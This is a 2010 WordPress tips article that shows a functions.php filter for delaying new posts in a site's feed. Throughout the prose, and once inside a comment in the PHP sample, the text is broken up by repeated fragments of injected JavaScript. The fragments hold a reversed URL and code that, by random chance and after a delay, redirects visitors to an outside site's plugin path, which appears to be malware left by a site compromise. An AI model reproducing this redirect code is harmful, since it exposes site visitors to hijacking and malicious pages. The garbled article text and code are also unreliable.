Publish your WordPress site’s Feed Later

If you have ever faced the problem of publishing a post with an error that you haven’t noticed but this post is already included in a feed that is published toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the whole world, then you will probably find this article very useful!

Using the following code you can have your new posts published toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your feed 15 minutes later. Of course you can adjust the time and unit at will. Edit your theme’s functions.php file and add the following code:

/**
* publish the content in the feed later
* $where ist default-var in WordPress (wp-includes/query.php)
* This function an a SQL-syntax
*/
function publish_later_on_feed($where) {
global $wpdb;

if ( is_feed() ) {
// timestamp in WP-format
$now = gmdate('Y-m-d H:i:s');

// value for wait; + device
$wait = '15'; // integer

// http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_timestampdiff
$device = 'MINUTE'; //MINUTE, HOUR, DAY, WEEK, MONTH, YEAR

// add SQL-sytax toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to default $where
$where .= " AND TIMESTAMPDIFF($device, $wpdb->posts.post_date_gmt, '$now') > $wait ";
}
return $where;
}

add_filter('posts_where', 'publish_later_on_feed');

Explanation: WordPress works with a special query, which acts differently depending on the user rights. This query is saved in the variable $where and is differently assembled, therefore you may extend it. There is a mySQL function timestampdiff(). You extend the query of WordPress with this function. Note toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to query the feed before (is_feed()), if not it will be also happening for the classical publishing of posts in your blog.

Source: http://wpengineer.com/publish-the-feed-later/

CATEGORY: Tips & Tricks
DATE: February 17th, 2010 & LEAVE YOUR COMMENT HERE

FILTER BY

Colors